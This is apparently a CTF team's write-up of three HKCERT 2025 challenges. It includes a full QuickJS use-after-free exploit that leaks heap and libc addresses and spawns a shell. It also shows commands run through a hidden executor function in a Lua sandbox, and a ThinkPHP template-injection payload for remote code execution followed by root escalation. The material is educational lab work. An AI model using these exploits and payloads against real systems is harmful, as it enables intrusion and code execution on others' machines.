# HKCERT CTF 2025 Writeup - Jane Street Amateurs
## piano
We are given a [quickjs](github.com/bellard/quickjs) binary with 2 a few lines patched:
```patch
diff --git a/quickjs.c b/quickjs.c
index 6f461d6..98d0cbe 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj,
}
ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1],
ctx->global_obj, JS_PROP_THROW_STRICT);
- sp--;
if (ret < 0)
goto exception;
}
} else {
put_var_ok:
set_value(ctx, var_ref->pvalue, sp[-1]);
- sp--;
}
+ sp--;
}
BREAK;
CASE(OP_get_loc):
```
In that patch, there is one unique path, which is when JS_SetPropertyInternal returns a value less than 0, we go to the `exception` label without decrementing sp.
After compiling my own custom quickjs with debug printf, and asking AI, I found a good way to have JS_SetPropertyInternal return < 0 is by using a custom setter that throws and exception.
```js
var victim = new Uint8Array(128);
victim.fill(0xAA);
Object.defineProperty(globalThis, 'x', {
set: function(val) {
throw new Error("Force Fail");
},
configurable: true,
});
try {
x = victim
} catch {}
```
This code causes `victim` to be freed, because JS_Free is called `victim` twice, once in JS_SetPropertyInternal and another in the exception label.
I found this writeup which has a similar bug to this https://maplebacon.org/2024/05/sdctf-slowjspp/
The idea is the same, use the UAF to overwrite a JSObject metadata to get arbitrary write, and use JSString to get the leaks. I got a shell by abusing the function pointers in JSMallocState, which are at the beginning of the heap (its the first object allocated in quickjs)
Full exploit:
```js
objs = [];
var victim = new Uint8Array(128);
victim.fill(0xAA);
Object.defineProperty(globalThis, 'x', {
set: function(val) {
throw new Error("Force Fail");
},
configurable: true,
});
try {
x = victim
} catch {}
for (let i = 0; i < 1; i++) {
objs.push(1);
}
var controller = new Uint32Array(18);
controller[0] = 10;
controller[1] = 0x001b0d00;
controller[0x10] = 0x10000000;
for (let i = 0; i < 0x20; i++) {
objs.push({a:1});
}
var str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
try {
x = str
} catch {}
try {
x = str
} catch {}
var str_controller = new Uint32Array(18);
str_controller[0] = 2;
str_controller[1] = 0x1000000;
str_controller[2] = 0x497f93b1;
str_controller[3] = 0x4b;
const read_dword = (offset) => {
let result = 0;
for (let i = 3; i >= 0; i--) {
result = (result << 8) | str.charCodeAt(offset + i);
}
return result;
};
let heap_base_low = read_dword(0x708) - 0x17bf8;
let heap_base_high = read_dword(0x70c);
console.log(heap_base_high.toString(16));
console.log(heap_base_low.toString(16));
let libc_leak_low = read_dword(0x6e8) - 0x200000 - 0x3b20;
let libc_leak_high = read_dword(0x6ec);
console.log(libc_leak_high.toString(16));
console.log(libc_leak_low.toString(16));
controller[6] = heap_base_low + 0x20200;
controller[7] = heap_base_high;
controller[0xe] = heap_base_low;
controller[0xf] = heap_base_high;
victim[0xa8] = libc_leak_low + 0x58750
victim[0xa9] = libc_leak_high;
victim[0xb0] = 0x6e69622f;
victim[0xb1] = 0x0068732f;
print("!")
var xxx = {a: 1};
while(1){}
```

## easy-lua
We're presented with an online lua executor, first things first let's dump the global context to see what we are dealing with.
```lua=
local function dump(v)
if type(v) == "table" then
for k, val in pairs(v) do
print(k, val)
end
else
print(v)
end
end
dump(_G)
```
This prints
```
package table: 0x99941e0
_G table: 0x99940f0
_VERSION Lua 5.1
_GOPHER_LUA_VERSION GopherLua 0.1
getmetatable function: 0x99963c0
load function: 0x99963e0
loadfile function: 0x9996400
_printregs function: 0x9996420
tonumber function: 0x9996440
next function: 0x9996460
print function: 0x9996fa0
rawequal function: 0x99964a0
setmetatable function: 0x99964c0
tostring function: 0x99964e0
type function: 0x9996500
unpack function: 0x9996520
module function: 0x9996540
assert function: 0x9996560
loadstring function: 0x9996580
pcall function: 0x99965a0
rawget function: 0x99965c0
rawset function: 0x99965e0
getfenv function: 0x9996600
select function: 0x9996620
setfenv function: 0x9996640
xpcall function: 0x9996660
require function: 0x9996680
newproxy function: 0x99966a0
collectgarbage function: 0x99966c0
dofile function: 0x99966e0
error function: 0x9996700
ipairs function: 0x9996760
pairs function: 0x99967a0
table table: 0x99942a0
string table: 0x99942d0
math table: 0x9994300
S3cr3t0sEx3cFunc function: 0x9996fc0
getFileContent function: 0x9996fe0
getFileList function: 0x9997000
```
There's a pretty interesting function `S3cr3t0sEx3cFunc`. Let's try to call it:
```lua=
local function dump(v)
if type(v) == "table" then
for k, val in pairs(v) do
print(k, val)
end
else
print(v)
end
end
local function call(cmd)
local ok, a, b, c, d = pcall(S3cr3t0sEx3cFunc, cmd)
print("CMD", cmd, ok)
dump(a); dump(b); dump(c); dump(d)
end
call("id")
call("ls -la /")
call("cat /flag")
```
This prints:
```
CMD id true
uid=0(root) gid=0(root) groups=0(root)
nil
nil
nil
CMD ls -la / true
total 12
drwxr-xr-x 1 root root 55 Dec 22 14:13 .
drwxr-xr-x 1 root root 55 Dec 22 14:13 ..
-rwxr-xr-x 1 root root 0 Dec 22 14:13 .dockerenv
drwxr-xr-x 1 ctf ctf 36 Dec 11 09:10 app
lrwxrwxrwx 1 root root 7 Oct 1 02:03 bin -> usr/bin
drwxr-xr-x 2 root root 6 Apr 18 2022 boot
drwxr-xr-x 5 root root 360 Dec 22 14:13 dev
-rwxr-xr-x 1 root root 73 Nov 24 16:31 entrypoint.sh
drwxr-xr-x 1 root root 66 Dec 22 14:13 etc
-rwxr--r-- 1 root root 39 Dec 22 14:13 flag
drwxr-xr-x 1 root root 17 Dec 11 09:10 home
lrwxrwxrwx 1 root root 7 Oct 1 02:03 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Oct 1 02:03 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Oct 1 02:03 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Oct 1 02:03 libx32 -> usr/libx32
drwxr-xr-x 2 root root 6 Oct 1 02:03 media
drwxr-xr-x 2 root root 6 Oct 1 02:03 mnt
drwxr-xr-x 2 root root 6 Oct 1 02:03 opt
dr-xr-xr-x 780 root root 0 Dec 22 14:13 proc
drwx------ 2 root root 37 Oct 1 02:10 root
drwxr-xr-x 5 root root 46 Oct 1 02:10 run
-rwxr-xr-x 1 ctf ctf 82 Aug 21 16:27 run.sh
lrwxrwxrwx 1 root root 8 Oct 1 02:03 sbin -> usr/sbin
drwxr-xr-x 2 root root 6 Oct 1 02:03 srv
dr-xr-xr-x 13 root root 0 Dec 20 01:41 sys
drwxrwxrwt 2 root root 6 Oct 1 02:10 tmp
drwxr-xr-x 1 root root 17 Oct 1 02:03 usr
drwxr-xr-x 1 root root 17 Oct 1 02:10 var
nil
nil
nil
CMD cat /flag true
flag{Zd7aDAYPybincfOgFugCp0TLaHLhTnaQ}
nil
nil
nil
```
## renderme
* we are given a link to a web application that has one route which takes the name parameter and renders it.
* I fingerprinted the tech stack by submitting `?name[]=` which returned an error, revealing ThinkPHP.
* I looked up what templating engine this framework uses and stumbled upon [https://github.com/top-think/think-template](https://github.com/top-think/think-template).
* there were a few patterns blocked, such as `()` and quotes.
* reading the source, one can see that it is possible to use pipe syntax for calling arbitrary functions.
* since quotes are blocked too, I put my payload into `$_GET`, which can be accessed using `$Request.get.<param>`.
* final payload: `?name={$Request.get.a|$Request.get.x}&x=system&a=<command>`.
* after getting RCE, it was basically this [https://gtfobins.github.io/gtfobins/choom/](https://gtfobins.github.io/gtfobins/choom/) to get root (and the flag at `/root/flag`).